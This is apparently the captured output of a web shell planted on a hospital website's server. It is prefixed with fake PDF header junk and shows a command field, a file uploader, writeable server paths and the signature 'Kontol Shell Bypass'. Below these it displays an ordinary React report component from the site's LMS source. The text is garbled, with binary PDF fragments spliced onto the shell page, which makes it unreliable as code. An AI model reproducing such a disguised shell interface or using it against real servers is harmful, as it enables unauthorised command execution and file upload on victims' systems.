%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/multisource/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/multisource/Report.jsx
/* eslint-disable react-hooks/exhaustive-deps */
import { useEffect, useState, useRef } from "react";
import Service from "../../services/Service";
import util from "../../util";
import FileSaver from "file-saver";
import { Button, message, Table } from "antd";

import { ReloadOutlined } from "@ant-design/icons";

export default function Report() {
  const wh = window.outerHeight;
  const ww = window.outerWidth;
  const [loading, setLoading] = useState(false);
  const [result, setResult] = useState([]);

  const initialCols = [
    {
      title: "UTM Source",
      dataIndex: "utm_source",
      width: 180,
      fixed: "left",
      sorter: (a, b) => ("" + a.utm_source).localeCompare(b.utm_source),
      render: (text) => <div>{text}</div>,
    },
    {
      title: "Leads",
      align: "right",
      dataIndex: "no_of_leads",
      width: 100,
      fixed: "left",
      sorter: (a, b) => a.no_of_leads - b.no_of_leads,
      render: (text) => <div>{text}</div>,
    },
    {
      title: "Secondary",
      align: "right",
      dataIndex: "secondary_count",
      width: 120,
      fixed: "left",
      sorter: (a, b) => a.secondary_count - b.secondary_count,
      render: (text) => <div>{text}</div>,
    },
  ];
  const cols = useRef([]);

  const convertResultData = (records) => {
    let uniqSubSources = [];
    records.forEach((v) => {
      v.other_utms.forEach((us) => {
        if (uniqSubSources.indexOf(us.utm_source) < 0) {
          uniqSubSources.push(us.utm_source);
        }
      });
    });
    uniqSubSources.sort(function (a, b) {
      return a.toLowerCase().localeCompare(b.toLowerCase());
    });
    for (let i = 0; i < uniqSubSources.length; i++) {
      const utm = uniqSubSources[i];
      initialCols.push({
        title: utm,
        align: "right",
        dataIndex: utm,
        width: 150,
        ellipsis: true,
        sorter: (a, b) => a[utm] - b[utm],
        render: (text) => <div>{text}</div>,
      });
    }
    cols.current = [...initialCols];

    let newRecords = [];
    records.forEach((v) => {
      let rob = {
        key: v.utm_source,
        utm_source: v.utm_source,
        no_of_leads: v.no_of_leads,
        secondary_count: v.secondary_count,
      };

      for (let i = 0; i < uniqSubSources.length; i++) {
        const utm = uniqSubSources[i];

        const odtl = v.other_utms.find((item) => item.utm_source === utm);
        if (odtl) {
          rob[utm] = odtl.records_count;
        } else {
          rob[utm] = 0;
        }
      }

      newRecords.push(rob);
    });

    newRecords.sort(function (a, b) {
      return a.utm_source
        .toLowerCase()
        .localeCompare(b.utm_source.toLowerCase());
    });

    return newRecords;
  };

  const getList = () => {
    setLoading(true);
    Service.multisourceLeadsReport()
      .then(({ data }) => {
        setResult(convertResultData(data.result));
      })
      .catch((e) => {
        message.error(e.message);
      })
      .finally(() => {
        setLoading(false);
      });
  };

  const downloadCsv = () => {
    let header = {};
    cols.current.forEach((v) => {
      header[v.dataIndex] = v.title;
    });

    let blob = util.convertToCSVBlob(result, header);
    FileSaver.saveAs(blob, "multisource-utmsource-wise.csv");
  };

  useEffect(() => {
    getList();
  }, []);

  return (
    <div>
      <div className="d-flex align-items-center mb5" style={{ gap: "8px" }}>
        <Button size="small" onClick={downloadCsv}>
          Download CSV
        </Button>
        <Button size="small" onClick={getList}>
          <ReloadOutlined spin={loading} />
        </Button>
      </div>

      <div className="def-pag-custom ant-table-text-top">
        <div className="bdr-bottom dash-tbl">
          <Table
            size="small"
            bordered
            dataSource={result}
            columns={cols.current}
            scroll={{ y: wh - 350, x: ww }}
            loading={loading}
            pagination={false}
            showSorterTooltip={false}
          />
        </div>
      </div>
    </div>
  );
}

Kontol Shell Bypass